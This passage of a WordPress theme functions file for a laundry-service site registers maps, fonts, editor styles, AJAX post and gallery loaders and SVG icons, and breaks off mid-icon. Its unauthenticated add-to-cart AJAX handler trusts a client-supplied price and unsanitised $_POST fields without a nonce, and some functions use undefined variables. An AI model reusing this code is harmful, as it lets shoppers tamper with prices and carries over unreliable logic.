	if ( isset( $laundry_opt['laundry-display-gmap'] ) && $laundry_opt['laundry-display-gmap'] ) {

		$apikey = $laundry_opt['laundry-gmap-api-key'];
		wp_enqueue_script( 'laundry-contact-googlemap', '//maps.googleapis.com/maps/api/js?sensor=false&key=' . $apikey, array(), '201202124', false );
		$gmap_vars = array(
			'GMAP_LAT'        => $laundry_opt['laundry-gmap-latitude'],
			'GMAP_LNG'        => $laundry_opt['laundry-gmap-longitude'],
			'GMAP_ZOOM'       => $laundry_opt['laundry-gmap-zoom'],
			'GMAP_THEME_PATH' => LAUNDRY_THEME_URI,
		);
		wp_localize_script( 'laundry-contact-googlemap', 'laundry_gmap_vars', $gmap_vars );
	}
}


function laundry_repair_add_to_cart_fragment( $fragments ) {

	ob_start();
	$count = WC()->cart->cart_contents_count;
	?>
			<a href="<?php echo get_permalink( wc_get_page_id( 'cart' ) ); ?>" class="tt-obj__btn cart-contents">
				<i class="icons-711897"></i>
				<?php if ( $count > 0 ) : ?>
				<div class="tt-obj__badge badge cart-contents-count"><?php echo esc_html( $count ); ?></div>
				<?php endif; ?>
			</a>
		<?php

		$fragments['a.cart-contents'] = ob_get_clean();

		return $fragments;
}

add_filter( 'woocommerce_add_to_cart_fragments', 'laundry_repair_add_to_cart_fragment' );


// service cart add
require_once LAUNDRY_INC_DIR . '/priceclass.php';

add_filter( 'woocommerce_add_cart_item', 'laundry_service_add_cart_item', 10, 2 );

if ( ! function_exists( 'laundry_service_add_cart_item' ) ) {

	function laundry_service_add_cart_item( $cart_item, $cart_id ) {

		$post_type = get_post_type( $cart_item['data']->get_id() );

			$cart_item['data']->set_props(
				array(
					'product_id'  => $cart_item['product_id'],
					// 'check_in_date'  => $cart_item['check_in_date'],
					// 'check_out_date' => $cart_item['check_out_date'],
					'woo_cart_id' => $cart_id,
				)
			);

		 return $cart_item;
	}
}

add_filter( 'woocommerce_product_class', 'laundry_service_product_class', 10, 4 );

if ( ! function_exists( 'laundry_service_product_class' ) ) {

	function laundry_service_product_class( $classname, $product_type, $post_type, $product_id ) {

		if ( 'product' != get_post_type( $product_id ) ) {
			$classname = 'CR_WC_Product_Device';
		}
		return $classname;
	}
}

add_action( 'wp_ajax_service_add_to_cart', 'laundry_service_add_to_cart' );
add_action( 'wp_ajax_nopriv_service_add_to_cart', 'laundry_service_add_to_cart' );

if ( ! function_exists( 'laundry_service_add_to_cart' ) ) {

	function laundry_service_add_to_cart() {

		global $woocommerce;
		if ( ! $woocommerce || ! $woocommerce->cart ) {
			return $_POST['product_id'];
		}

		WC()->session->set( 'custom_price' . (int) $_POST['product_id'], ( $_POST['price'] ) );
		WC()->session->set( 'service_name' . (int) $_POST['product_id'], ( $_POST['service_name'] ) );
		WC()->session->set( 'service_type' . (int) $_POST['product_id'], ( $_POST['service_type'] ) );
		$cart_items     = $woocommerce->cart->get_cart();
		$woo_cart_param = array(
			'product_id'     => $_POST['product_id'],
			'check_in_date'  => '',
			'check_out_date' => '',
			'quantity'       => $_POST['quantity'],
			'service_name'   => $_POST['service_name'],
			'service_type'   => $_POST['service_type'],
			'custom_price'   => $_POST['price'],
		);

		$woo_cart_id = $woocommerce->cart->generate_cart_id( $woo_cart_param['product_id'], null, array(), $woo_cart_param );

		if ( array_key_exists( $woo_cart_id, $cart_items ) ) {
			$woocommerce->cart->set_quantity( $woo_cart_id, $_POST['quantity'] );
		} else {

			$woocommerce->cart->add_to_cart( $woo_cart_param['product_id'], $woo_cart_param['quantity'], null, array(), $woo_cart_param );
		}
		$woocommerce->cart->calculate_totals();
		// Save cart to session
		$woocommerce->cart->set_session();
		// Maybe set cart cookies
		$woocommerce->cart->maybe_set_cart_cookies();
		echo 'success';
		wp_die();
	}
}




function laundry_add_google_font() {
	wp_enqueue_style( 'laundry-google-fonts-admin', laundry_build_google_font(), array(), null );
}

add_action( 'admin_enqueue_scripts', 'laundry_add_google_font' );

function laundry_build_google_font() {
	$protocol   = is_ssl() ? 'https:' : 'http:';
	$subsets    = 'latin,cyrillic-ext,latin-ext,cyrillic,greek-ext,greek,vietnamese';
	$query_args = array(
		'family' => urlencode( 'Lato:300,400,700,900|Rubik:300,400,500,700' ),
		'subset' => urlencode( $subsets ),
	);
	$font_url   = add_query_arg( $query_args, $protocol . '//fonts.googleapis.com/css' );
	return $font_url;
}
add_action( 'admin_enqueue_scripts', 'laundry_admin_enqueue' );

function laundry_admin_enqueue() {
	wp_enqueue_style( 'laundry-admin-iconfont', get_template_directory_uri() . '/fonts/style.css', '', null );
	wp_enqueue_style( 'laundry-admin', get_template_directory_uri() . '/css/admin.css', '', null );
	wp_enqueue_style( 'laundry-block-styles', get_theme_file_uri( 'css/all-block.css' ), false, '1.0', 'all' );
}

function laundry_add_editor_styles() {
	add_editor_style( 'editor-style.css' );
}
add_action( 'admin_init', 'laundry_add_editor_styles' );

function laundry_gutenberg_editor_palette_styles() {
	add_theme_support(
		'editor-color-palette',
		array(
			array(
				'name'  => esc_html__( 'strong yellow', 'laundry' ),
				'slug'  => 'strong-yellow',
				'color' => '#f7bd00',
			),
			array(
				'name'  => esc_html__( 'strong white', 'laundry' ),
				'slug'  => 'strong-white',
				'color' => '#fff',
			),
			array(
				'name'  => esc_html__( 'light black', 'laundry' ),
				'slug'  => 'light-black',
				'color' => '#242424',
			),
			array(
				'name'  => esc_html__( 'very light gray', 'laundry' ),
				'slug'  => 'very-light-gray',
				'color' => '#797979',
			),
			array(
				'name'  => esc_html__( 'very dark black', 'laundry' ),
				'slug'  => 'very-dark-black',
				'color' => '#000000',
			),
		)
	);

	add_theme_support(
		'editor-font-sizes',
		array(
			array(
				'name' => esc_html__( 'Small', 'laundry' ),
				'size' => 10,
				'slug' => 'small',
			),
			array(
				'name' => esc_html__( 'Normal', 'laundry' ),
				'size' => 15,
				'slug' => 'normal',
			),
			array(
				'name' => esc_html__( 'Large', 'laundry' ),
				'size' => 24,
				'slug' => 'large',
			),
			array(
				'name' => esc_html__( 'Huge', 'laundry' ),
				'size' => 36,
				'slug' => 'huge',
			),
		)
	);

}
add_action( 'after_setup_theme', 'laundry_gutenberg_editor_palette_styles' );


/**
 * Implement the Custom Header feature.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
require get_template_directory() . '/inc/jetpack.php';

/*
 ==================================================================================
 * --- Redux Option filds
 * ================================================================================== */

require_once LAUNDRY_INC_DIR . '/redux.fallback.php';
require_once LAUNDRY_INC_DIR . '/redux.config.php';

require_once LAUNDRY_FRAMEWORK_DIR . '/plugin-list.php';
/*
 * Enable support TGM features.
 */
require_once LAUNDRY_FRAMEWORK_DIR . '/tgm/class-tgm-plugin-activation.php';

/*
 * Enable support TGM configuration.
 */
require_once LAUNDRY_FRAMEWORK_DIR . '/tgm/config.tgm.php';

require_once LAUNDRY_FRAMEWORK_DIR . '/dashboard/class-dashboard.php';

/*
 ==================================================================================
 * --- nav_menu_walker
 * ================================================================================== */

if ( file_exists( LAUNDRY_INC_DIR . '/nav_menu_walker.php' ) ) {
	include_once LAUNDRY_INC_DIR . '/nav_menu_walker.php';
} else {
	add_action(
		'admin_notices',
		function () {
			echo '
		<div class="error">
			<p><strong>/inc/nav_menu_walker.php</strong> ' . esc_html__( 'File not exist in theme !!', 'laundry' ) . '</p>
		</div>
		';
		}
	);
}

/*
 * Meta Box Configuration Post Meta Option
 */
if ( file_exists( LAUNDRY_INC_DIR . '/config.meta.box.php' ) ) {
	include_once LAUNDRY_INC_DIR . '/config.meta.box.php';
} else {
	add_action(
		'admin_notices',
		function () {
			echo '
		<div class="error">
			<p><strong>/inc/config.meta.box.php</strong> ' . esc_html__( 'File not exist in theme !!', 'laundry' ) . '</p>
		</div>
		';
		}
	);
}

/**
 * comment walker.
 */
require get_template_directory() . '/inc/class-walker-comment.php';

if ( function_exists( 'vc_parse_multi_attribute' ) ) {

	function vc_map_loop_parse_attributes( $value ) {

		$values = vc_parse_multi_attribute(
			$value,
			array(
				'size'                   => isset( $fields['size'] ) ? $fields['size'] : '',
				'post_type'              => isset( $fields['post_type'] ) ? $fields['post_type'] : '',
				'order_by'               => isset( $fields['order_by'] ) ? $fields['order_by'] : '',
				'order'                  => isset( $fields['order'] ) ? $fields['order'] : '',
				'categories_autosuggest' => isset( $fields['categories_autosuggest'] ) ? $fields['categories_autosuggest'] : '',
				'tags_autosuggest'       => isset( $fields['tags_autosuggest'] ) ? $fields['tags_autosuggest'] : '',
				'tax_query_autosuggest'  => isset( $fields['tax_query_autosuggest'] ) ? $fields['tax_query_autosuggest'] : '',
				'by_id_autosuggest'      => isset( $fields['post_type'] ) ? $fields['by_id_autosuggest'] : '',
				'authors_autosuggest'    => isset( $fields['authors_autosuggest'] ) ? $fields['post_type'] : '',
			)
		);

		return $values;
	}
}

/*
 * ****************************************************************
 * Ajax Posts loading
 * ***************************************************************** */

function laundry_more_post_ajax() {

	check_ajax_referer( 'postloadmore', 'security' );
	if ( isset( $_POST['pageNumber'] ) ) {
		$pageNumber = $_POST['pageNumber'];
	} else {
		$pageNumber = '';
	};
	if ( isset( $_POST['posts_per_page'] ) ) {
		$posts_per_page = $_POST['posts_per_page'];
	} else {
		$posts_per_page = '';
	};

	// WP_Query arguments

	$args = array(
		'post_type'      => array( 'post' ),
		'post_status'    => array( 'publish' ),
		'nopaging'       => false,
		'paged'          => $pageNumber,
		'posts_per_page' => $posts_per_page,
	);

	// The Query
	$query = new WP_Query( $args );

	// The Loop
	if ( $query->have_posts() ) {
		while ( $query->have_posts() ) {
			$query->the_post();
			?>
			<div class="blog-post">
				<div class="post-image">
					<?php get_template_part( 'template-parts/media/content', get_post_format() ); ?>
				</div>
				<div class="post-content">
					<ul class="post-meta">
						<li class="post-message"><i class="icon icon-chat-bubble"></i><span><?php comments_number( '0', '1', '%' ); ?></span></li>
						<li><a href="<?php the_permalink(); ?>"><?php echo get_the_date( 'd / m / Y' ); ?></a></li>
					</ul>
					<h3 class="post-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
					<div class="post-author"><?php esc_html_e( 'by', 'laundry' ); ?> <?php printf( esc_html__( '%s', 'laundry' ), get_the_author() ); ?></div>
					<div class="post-teaser">
						<p><?php the_excerpt(); ?></p>
					</div>
				</div>
			</div>
			<?php
		}
	} else {
		// no posts found
	}

	// Restore original Post Data
	wp_reset_postdata();

	die();
}

add_action( 'wp_ajax_laundry_more_post_ajax', 'laundry_more_post_ajax' );
add_action( 'wp_ajax_nopriv_laundry_more_post_ajax', 'laundry_more_post_ajax' );

function laundry_gallery_ajax() {

	if ( isset( $_POST['pageNumber'] ) ) {
		$pageNumber = $_POST['pageNumber'];
	} else {
		$pageNumber = '';
	};
	if ( isset( $_POST['posts_per_page'] ) ) {
		$posts_per_page = $_POST['posts_per_page'];
	} else {
		$posts_per_page = '';
	};

	// WP_Query arguments
	$args = array(
		'post_type'      => array( 'post' ),
		'post_status'    => array( 'publish' ),
		'nopaging'       => false,
		'paged'          => $pageNumber,
		'posts_per_page' => $posts_per_page,
	);

	// The Query
	$query = new WP_Query( $args );

	// The Loop
	if ( $query->have_posts() ) {
		while ( $query->have_posts() ) {
			$query->the_post();

			$img_meta = wp_get_attachment_metadata( get_post_thumbnail_id( get_the_ID() ) );

			$wh_ratio = $img_meta['width'] * 1 / $img_meta['height'] * 1;

			$grid_class      = '';
			$thumb_size      = 'medium';
			$proj_thumb_size = get_post_meta( get_the_ID(), 'framework-thumbnail-size' );

			if ( $proj_thumb_size[0] != '' ) {

				if ( $proj_thumb_size[0] == 'big_squier' ) {

					$grid_class  = 'doubleW';
					$grid_class .= ' doubleH';
					$thumb_size  = 'large';
				} elseif ( $proj_thumb_size[0] == 'single_hor' ) {

					$grid_class = 'doubleW';
					$thumb_size = 'large';
				} elseif ( $proj_thumb_size[0] == 'single_var' ) {

					$grid_class = 'doubleH';
					$thumb_size = 'large';
				} else {

					$grid_class = '';
					$thumb_size = 'medium';
				}
				if ( $sl == 1 ) {
					$grid_class = '';
				}
			} else {

				if ( $wh_ratio < 0.75 ) {

					if ( $img_meta['height'] > 340 ) {
						$grid_class = 'doubleH';
						$thumb_size = 'large';
					} else {
						$grid_class = '';
						$thumb_size = 'medium';
					}
				} elseif ( $wh_ratio >= 0.75 && $wh_ratio <= 1.75 ) {

					if ( $img_meta['width'] <= 420 || $img_meta['height'] <= 420 ) {
						$grid_class = '';
						$thumb_size = 'thumb_225x180';
					} else {
						$grid_class  = 'doubleW';
						$grid_class .= ' doubleH';
						$thumb_size  = 'large';
					}
				} elseif ( $wh_ratio > 1.75 ) {

					if ( $img_meta['width'] > 430 ) {
						$grid_class = 'doubleW';
						$thumb_size = 'large';
					} else {
						$grid_class = '';
						$thumb_size = 'medium';
					}
				}
				if ( $sl == 1 ) {
					$grid_class = '';
				}
			}
			?>

			<div class="gallery__item <?php echo esc_attr( $grid_class ); ?>">
				<div class="gallery__item__image">
					<?php
					$gi_lg   = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), 'large' );
					$gi_auto = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), $thumb_size );
					?>
					<img src="<?php echo esc_url( $gi_auto[0] ); ?>" alt="gallery image" />
					<a class="btn btn-lg" href="<?php echo esc_url( $gi_lg[0] ); ?>"><?php esc_html_e( 'zoom', 'laundry' ); ?></a>
				</div>
			</div>

			<?php
		}
	} else {
		// no posts found
	}

	// Restore original Post Data
	wp_reset_postdata();
	die();
}

add_action( 'wp_ajax_laundry_gallery_ajax', 'laundry_gallery_ajax' );
add_action( 'wp_ajax_nopriv_laundry_gallery_ajax', 'laundry_gallery_ajax' );


function landry_tag_cloud_widget() {
	$tag_args = array(
		'format' => 'list',
		'echo'   => false,
	);
	return $tag_args;
}
add_filter( 'widget_tag_cloud_args', 'landry_tag_cloud_widget' );

add_filter( 'comment_reply_link', 'laundry_replace_reply_link_class' );

function laundry_replace_reply_link_class( $class ) {
	$class = str_replace( "class='comment-reply-link", "class='reply", $class );
	return $class;
}

function laundry_select_svg( $svg_name ) {

	switch ( $svg_name ) {
		case 'washing-machine':
			return '<svg class="svg-washer-icon" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="300" viewBox="0 0 32 32">
									<path d="M29 29c0 1.519-1.231 2.75-2.75 2.75h-20.5c-1.519 0-2.75-1.231-2.75-2.75v-26c0-1.519 1.231-2.75 2.75-2.75h20.5c1.519 0 2.75 1.231 2.75 2.75v26zM27.5 3c0-0.69-0.56-1.25-1.25-1.25h-20.5c-0.69 0-1.25 0.56-1.25 1.25v26c0 0.69 0.56 1.25 1.25 1.25h20.5c0.69 0 1.25-0.56 1.25-1.25v-26z"></path>
									<path d="M28.036 9.75h-24.5c-0.414 0-0.537-0.336-0.537-0.75v-5.76c0-1.537 1.226-2.99 2.749-2.99h20.31c1.607 0 2.94 1.576 2.94 2.99v5.76c0 0.414-0.55 0.75-0.964 0.75zM4.5 8.25h23v-5.009c0-0.675-0.761-1.491-1.44-1.491h-20.31c-0.684 0-1.249 0.794-1.249 1.491v5.009z"></path>
									<path d="M11.75 9.5c-0.414 0-0.75-0.336-0.75-0.75v-7.5c0-0.414 0.336-0.75 0.75-0.75s0.75 0.336 0.75 0.75v7.5c0 0.414-0.336 0.75-0.75 0.75z"></path>
									<path d="M25.603 5.12c0 0.714-0.578 1.293-1.293 1.293s-1.293-0.579-1.293-1.293c0-0.714 0.578-1.293 1.293-1.293s1.293 0.579 1.293 1.293z"></path>
									<path d="M21.982 5.12c0 0.714-0.578 1.293-1.293 1.293s-1.293-0.579-1.293-1.293c0-0.714 0.578-1.293 1.293-1.293s1.293 0.579 1.293 1.293z"></path>
									<path d="M18.362 5.12c0 0.714-0.58 1.293-1.293 1.293-0.714 0-1.293-0.579-1.293-1.293s0.578-1.293 1.293-1.293c0.714 0 1.293 0.579 1.293 1.293z"></path>
									<g class="disc">
										<path d="M15.613 27.917c-3.961 0-7.183-3.222-7.183-7.183s3.222-7.183 7.183-7.183c3.96 0 7.183 3.222 7.183 7.183s-3.223 7.183-7.183 7.183zM15.613 15.051c-3.134 0-5.683 2.549-5.683 5.683s2.55 5.683 5.683 5.683c3.133 0 5.683-2.55 5.683-5.683s-2.55-5.683-5.683-5.683z"></path>
										<path d="M12.876 23.106c-1.754 0-3.277-1.023-4.047-1.842-0.284-0.302-0.27-0.776 0.032-1.060 0.3-0.284 0.774-0.271 1.058 0.030v0c0.104 0.109 2.57 2.636 5.094 0.521 2.857-2.391 5.86-1.037 7.047 0.013 0.31 0.274 0.34 0.748 0.066 1.058s-0.749 0.34-1.058 0.066c-0.099-0.087-2.521-2.139-5.091 0.013-1.045 0.875-2.11 1.201-3.1 1.201z"></path>
										<path d="M19.655 22.189c0 0.286-0.231 0.517-0.517 0.517s-0.517-0.231-0.517-0.517c0-0.285 0.231-0.517 0.517-0.517s0.517 0.231 0.517 0.517z"></path>
										<path d="M19.137 24.258c0 0.285-0.231 0.517-0.517 0.517s-0.517-0.232-0.517-0.517 0.232-0.517 0.517-0.517c0.285 0 0.517 0.231 0.517 0.517z"></path>
										<path d="M17.068 22.706c0 0.285-0.231 0.517-0.517 0.517s-0.517-0.231-0.517-0.517c0-0.286 0.231-0.517 0.517-0.517s0.517 0.231 0.517 0.517z"></path>
										<path d="M16.034 24.775c0 0.285-0.231 0.517-0.517 0.517s-0.517-0.231-0.517-0.517c0-0.286 0.231-0.517 0.517-0.517s0.517 0.231 0.517 0.517z"></path>
										<path d="M12.93 23.74c0 0.285-0.231 0.517-0.517 0.517s-0.517-0.231-0.517-0.517 0.231-0.517 0.517-0.517c0.286 0 0.517 0.232 0.517 0.517z"></path>
									</g>
								</svg>';
			break;
		case 'hanger-with-clothes':
			return '<svg class="svg-hanger-icon" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="300" viewBox="0 0 35 32">
									<path class="hanger" d="M32.702 20.62l-13.413-12.155c-0.15-0.137-0.316-0.252-0.489-0.352v-1.965h-0.128c-0.088-0.27-0.301-0.497-0.673-0.583-0.831-0.191-1.748-0.465-2.315-1.143-0.274-0.328-0.359-0.76-0.242-0.988 0.664-1.294 2.593-0.9 3.702-0.421 1.181 0.51 2.21-1.211 1.019-1.725-2.057-0.889-5.404-1.289-6.511 1.245-0.855 1.956 0.436 3.464 2.078 4.32v1.245c-0.184 0.104-0.36 0.223-0.52 0.367l-13.411 12.155c-1.127 1.021-0.748 1.849 0.845 1.849h6.377v-2.155h-3.674l11.312-10.251c0.145-0.132 0.361-0.208 0.592-0.208s0.447 0.075 0.592 0.208l11.312 10.251h-3.747v2.155h6.45c1.593 0 1.971-0.828 0.845-1.849z"></path>
									<path class="clothes" d="M10.097 20.314v11.686l3.376-1.023-0.031-6.447c-0.003-0.594 0.477-1.081 1.072-1.083 0.002 0 0.004 0 0.005 0 0.593 0 1.075 0.479 1.077 1.072l0.028 5.806 8.704-2.636v-9.561h-14.232v2.186z"></path>
								</svg>';
			break;
		case 'vacuum-cleaner':
			return '<svg class="svg-vacuumcleaner-icon animated-icon" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="300" viewBox="0 0 39 32">
									<path class="tube" d="M37.644 31.192h-9.893c-0.259-1.001 0.157-1.911 0.717-2.333 0.567-0.428 1.67-0.211 2.641-0.338-0.084-0.428-0.199-0.965-0.386-1.344-4.045-8.229-8.121-16.452-12.166-24.681-0.223-0.458-0.705-0.729-1.212-0.699-0.567 0.030-1.145 0.006-1.766 0.006v-1.718c1.121 0 2.267-0.084 3.388 0.048 0.35 0.042 0.717 0.621 0.922 1.037 2.888 5.787 5.745 11.593 8.615 17.393 1.248 2.526 2.514 5.046 3.732 7.59 0.338 0.705 0.663 1.459 0.983 2.399 0.416 0 0.826 0.012 1.459 0.018 1.019 0.012 1.447 0.241 2.020 0.965 0.47 0.591 0.627 0.904 1.031 1.537-0.042 0.048-0.054 0.060-0.084 0.121z"></path>
									<path class="hose" d="M14.12 0.898c0 0.41 0 0.711 0 0.892-0.953 0.362-1.887 0.591-2.701 1.043-1.616 0.892-2.182 2.417-1.682 4.184 0.518 1.833 1.718 3.231 2.99 4.576 3.286 3.473 6.601 6.921 9.863 10.412 0.603 0.645 1.097 1.411 1.513 2.194 1.278 2.436 0.32 4.105-2.496 4.317 0-0.326 0-0.651 0-0.983 0.036-0.024 0.078-0.072 0.127-0.078 1.857-0.247 2.363-1.079 1.411-2.695-0.723-1.224-1.634-2.369-2.604-3.418-3.153-3.4-6.402-6.71-9.543-10.116-0.784-0.85-1.429-1.893-1.917-2.948-1.495-3.255-0.006-6.246 3.466-7.138 0.494-0.115 1.007-0.151 1.573-0.241z"></path>
									<path class="vacuumcleaner" d="M7.049 20.883c-3.069 0-5.558 2.49-5.558 5.558s2.49 5.558 5.558 5.558c3.069 0 5.558-2.49 5.558-5.558s-2.49-5.558-5.558-5.558zM7.049 29.468c-1.67 0-3.026-1.356-3.026-3.026s1.356-3.026 3.026-3.026c1.67 0 3.026 1.356 3.026 3.026s-1.356 3.026-3.026 3.026z"></path>
									<path class="vacuumcleaner" d="M19.48 23.059c-1.748-1.272-3.442-2.616-5.227-3.828-0.663-0.452-1.501-0.868-2.279-0.904-2.616-0.115-5.245-0.066-7.867-0.036-0.669 0.006-1.17 0.398-1.23 1.103-0.054 0.681-0.018 1.375-0.012 2.176 1.157-1.043 2.683-1.682 4.365-1.682 3.593 0 6.511 2.912 6.511 6.511 0 1.338-0.404 2.586-1.097 3.617 2.393 0 4.769 0.030 7.144-0.024 0.748-0.018 1.037-0.639 1.049-1.35 0.012-0.953-0.024-1.905 0.012-2.852 0.018-1.164-0.434-2.050-1.369-2.731z"></path>
								</svg>';
			break;
		case 'shirt':
			return '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" width="300" height="300" viewBox="0 0 32 32">
					<path d="M15.462 0c0.372 0 0.745 0 1.117 0 0.036 0.005 0.071 0.015 0.107 0.015 0.378 0.010 0.75 0.051 1.117 0.107 0.459 0.066 0.908 0.173 1.337 0.347 0.255 0.102 0.5 0.225 0.719 0.388 0.184 0.138 0.316 0.321 0.454 0.5 0.587 0.76 1.173 1.52 1.755 2.281 0.046 0.056 0.102 0.097 0.168 0.127 0.383 0.173 0.765 0.342 1.143 0.52 0.806 0.378 1.597 0.776 2.357 1.235 0.219 0.133 0.444 0.276 0.648 0.434 0.321 0.255 0.571 0.582 0.821 0.908 0.449 0.592 0.852 1.219 1.235 1.857 0.832 1.372 1.597 2.786 2.327 4.209 0.097 0.189 0.194 0.378 0.291 0.566 0 0.015 0 0.025 0 0.041-0.031 0.077-0.061 0.153-0.097 0.23-0.179 0.388-0.434 0.725-0.73 1.031-0.515 0.541-1.128 0.939-1.806 1.255-0.837 0.388-1.719 0.612-2.633 0.73-0.087 0.010-0.173 0.020-0.255 0.031-0.255-0.342-0.505-0.673-0.755-1.005-0.163-0.214-0.327-0.434-0.485-0.648-0.071-0.092-0.158-0.133-0.276-0.097-0.112 0.031-0.173 0.107-0.189 0.245-0.010 0.112-0.020 0.225-0.025 0.332-0.025 0.525-0.056 1.046-0.071 1.571-0.031 1.184-0.010 2.367 0.056 3.551 0.020 0.378 0.046 0.755 0.077 1.133 0.025 0.372 0.056 0.75 0.092 1.122 0.046 0.48 0.097 0.954 0.153 1.429 0.056 0.495 0.117 0.985 0.189 1.48 0.102 0.689 0.219 1.372 0.337 2.061 0.168 0.954 0.378 1.903 0.633 2.837 0.015 0.066 0.036 0.128 0.056 0.204-0.163 0.061-0.321 0.122-0.48 0.173-0.439 0.143-0.898 0.23-1.352 0.301s-0.913 0.133-1.372 0.189c-0.378 0.046-0.75 0.082-1.128 0.117-0.372 0.031-0.75 0.061-1.122 0.082-0.464 0.025-0.934 0.046-1.398 0.066-0.296 0.010-0.587 0.015-0.883 0.025-0.102 0.005-0.209 0.010-0.311 0.020-0.852 0-1.704 0-2.556 0-0.020-0.005-0.041-0.010-0.061-0.010-0.525-0.015-1.046-0.031-1.571-0.051-0.423-0.015-0.842-0.041-1.265-0.066-0.194-0.010-0.393-0.025-0.587-0.041-0.332-0.031-0.663-0.061-1-0.092-0.265-0.025-0.531-0.051-0.796-0.087-0.342-0.046-0.689-0.097-1.031-0.158-0.398-0.066-0.796-0.143-1.184-0.265-0.184-0.056-0.362-0.128-0.541-0.189 0.010-0.046 0.020-0.077 0.025-0.107 0.418-1.515 0.709-3.056 0.939-4.612 0.087-0.577 0.158-1.153 0.23-1.73 0.056-0.474 0.107-0.944 0.153-1.418 0.041-0.449 0.077-0.893 0.107-1.342 0.036-0.531 0.066-1.066 0.092-1.597 0.015-0.332 0.025-0.663 0.031-0.995 0.005-0.612 0.015-1.224 0.005-1.837-0.010-0.597-0.046-1.194-0.071-1.791-0.005-0.122-0.020-0.24-0.041-0.362-0.015-0.092-0.077-0.143-0.168-0.168-0.117-0.031-0.204 0-0.286 0.112-0.265 0.352-0.525 0.704-0.791 1.056-0.148 0.194-0.291 0.388-0.444 0.592-0.163-0.025-0.327-0.046-0.49-0.071-0.597-0.082-1.179-0.225-1.745-0.429-0.862-0.311-1.658-0.74-2.321-1.388-0.398-0.388-0.735-0.811-0.934-1.332-0.005-0.015-0.025-0.025-0.041-0.036 0-0.020 0-0.041 0-0.061 0.020-0.020 0.041-0.041 0.056-0.066 0.327-0.628 0.648-1.255 0.98-1.878 0.643-1.209 1.316-2.398 2.056-3.551 0.342-0.531 0.699-1.056 1.107-1.536 0.225-0.265 0.459-0.515 0.755-0.699 0.235-0.143 0.464-0.291 0.699-0.429 1.015-0.582 2.077-1.082 3.148-1.551 0.097-0.041 0.173-0.102 0.235-0.184 0.296-0.388 0.592-0.77 0.893-1.158 0.296-0.383 0.597-0.76 0.883-1.153 0.184-0.245 0.398-0.449 0.663-0.597 0.367-0.204 0.755-0.342 1.158-0.444 0.546-0.133 1.102-0.199 1.663-0.225 0.082-0.041 0.153-0.051 0.225-0.056zM21.258 11.664c-0.031-0.031-0.046-0.051-0.066-0.071-1.092-1.367-2.179-2.735-3.27-4.097-0.163-0.204-0.332-0.413-0.495-0.617-0.077-0.097-0.173-0.138-0.291-0.102-0.179 0.056-0.362 0.107-0.541 0.163-0.071 0.025-0.117 0.077-0.133 0.153-0.015 0.061-0.020 0.128-0.020 0.189 0 7.821 0 15.643 0 23.464 0 0.025 0 0.056 0 0.082 0.015 0.194 0.112 0.286 0.306 0.286 0.107 0 0.214 0 0.327-0.005 0.454-0.010 0.913-0.015 1.367-0.031 0.408-0.015 0.816-0.036 1.224-0.056 0.24-0.010 0.48-0.025 0.719-0.046 0.296-0.020 0.592-0.046 0.888-0.077 0.291-0.025 0.577-0.056 0.867-0.087 0.286-0.036 0.571-0.071 0.852-0.117 0.347-0.056 0.689-0.122 1.036-0.189 0.133-0.025 0.194-0.097 0.209-0.225 0.005-0.046-0.010-0.092-0.020-0.138-0.097-0.454-0.204-0.908-0.296-1.367-0.179-0.888-0.332-1.781-0.454-2.679-0.082-0.607-0.163-1.214-0.235-1.821-0.061-0.515-0.107-1.031-0.153-1.546-0.051-0.628-0.097-1.255-0.133-1.883-0.031-0.525-0.046-1.046-0.061-1.571-0.020-0.959-0.015-1.918 0.025-2.877 0.031-0.694 0.077-1.388 0.143-2.082 0.061-0.628 0.143-1.255 0.245-1.878 0.133-0.806 0.296-1.602 0.51-2.388 0.281-1.005 0.628-1.985 1.097-2.913 0.102-0.204 0.214-0.398 0.321-0.597 0.087-0.163 0.056-0.301-0.102-0.398-0.031-0.020-0.056-0.036-0.087-0.051-0.714-0.413-1.459-0.781-2.209-1.133-0.107-0.051-0.214-0.097-0.321-0.143-0.143-0.061-0.327 0.031-0.347 0.204-0.020 0.194-0.051 0.388-0.082 0.582-0.087 0.617-0.173 1.24-0.255 1.857-0.092 0.668-0.179 1.332-0.27 2-0.087 0.638-0.173 1.281-0.26 1.918-0.005 0.092-0.020 0.179-0.036 0.286zM10.778 11.664c-0.010-0.051-0.015-0.087-0.020-0.122-0.010-0.077-0.020-0.153-0.031-0.23-0.051-0.372-0.102-0.745-0.153-1.112s-0.102-0.735-0.153-1.102c-0.056-0.423-0.117-0.842-0.173-1.265-0.051-0.372-0.102-0.75-0.153-1.122-0.051-0.367-0.102-0.735-0.153-1.102-0.025-0.199-0.051-0.398-0.087-0.592-0.031-0.158-0.158-0.23-0.311-0.189-0.036 0.010-0.071 0.020-0.107 0.036-0.689 0.316-1.367 0.643-2.031 1.005-0.173 0.092-0.342 0.194-0.51 0.291-0.082 0.046-0.138 0.107-0.148 0.204-0.010 0.077 0.015 0.138 0.051 0.204 0.107 0.194 0.214 0.388 0.316 0.587 0.577 1.148 0.985 2.362 1.281 3.612 0.225 0.929 0.378 1.872 0.495 2.821 0.082 0.689 0.148 1.378 0.184 2.071 0.031 0.592 0.056 1.189 0.066 1.781 0.020 0.816 0.010 1.628-0.031 2.444-0.031 0.653-0.061 1.301-0.102 1.954-0.036 0.561-0.087 1.128-0.143 1.689-0.066 0.648-0.138 1.296-0.225 1.944-0.092 0.679-0.194 1.357-0.301 2.036-0.143 0.908-0.327 1.806-0.536 2.704-0.036 0.158 0.036 0.286 0.199 0.316 0.296 0.061 0.587 0.117 0.888 0.163 0.372 0.056 0.75 0.107 1.122 0.148 0.378 0.046 0.76 0.082 1.138 0.112 0.342 0.031 0.689 